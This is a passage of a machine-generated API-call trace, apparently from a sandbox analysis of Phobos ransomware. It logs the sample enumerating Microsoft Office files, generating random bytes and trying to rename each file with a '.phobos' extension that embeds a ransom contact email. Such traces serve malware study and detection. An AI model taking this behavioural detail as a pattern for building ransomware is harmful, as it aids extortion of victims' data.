Office\\root\\Office16\\1033\\XLINTL32.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll")) returned 0 [0155.212] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlslicer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.213] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=187488) returned 1 [0155.213] CloseHandle (hObject=0x564) returned 1 [0155.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlslicer.dll")) returned 0x220 [0155.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLSLICER.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlslicer.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlslicer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.213] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.214] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=43448) returned 1 [0155.214] CloseHandle (hObject=0x564) returned 1 [0155.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl")) returned 0x220 [0155.214] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.215] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0155.215] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=50556) returned 1 [0155.215] CloseHandle (hObject=0x564) returned 1 [0155.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl")) returned 0x220 [0155.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.216] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.222] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=3750464) returned 1 [0155.222] CloseHandle (hObject=0x574) returned 1 [0155.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe")) returned 0x220 [0155.222] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0155.222] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accicons.exe")) returned 0 [0155.223] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.224] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=211040) returned 1 [0155.224] CloseHandle (hObject=0x574) returned 1 [0155.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz.dll")) returned 0x220 [0155.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.224] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.226] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=596640) returned 1 [0155.226] CloseHandle (hObject=0x574) returned 1 [0155.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll")) returned 0x220 [0155.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACEDAO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.226] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.233] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=186064) returned 1 [0155.233] CloseHandle (hObject=0x574) returned 1 [0155.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll")) returned 0x220 [0155.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\ACCOLK.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\accolk.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.233] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.236] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=830) returned 1 [0155.236] CloseHandle (hObject=0x574) returned 1 [0155.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf")) returned 0x220 [0155.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\faxext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.238] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.256] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=241728) returned 1 [0155.256] CloseHandle (hObject=0x254) returned 1 [0155.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ar\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.257] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.260] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61504) returned 1 [0155.260] CloseHandle (hObject=0x254) returned 1 [0155.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.260] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.262] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=163904) returned 1 [0155.262] CloseHandle (hObject=0x254) returned 1 [0155.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.263] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.263] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=208960) returned 1 [0155.264] CloseHandle (hObject=0x254) returned 1 [0155.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.264] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.268] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=567976) returned 1 [0155.268] CloseHandle (hObject=0x254) returned 1 [0155.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.269] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.271] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61504) returned 1 [0155.271] CloseHandle (hObject=0x254) returned 1 [0155.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.272] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.273] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=158376) returned 1 [0155.273] CloseHandle (hObject=0x254) returned 1 [0155.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: 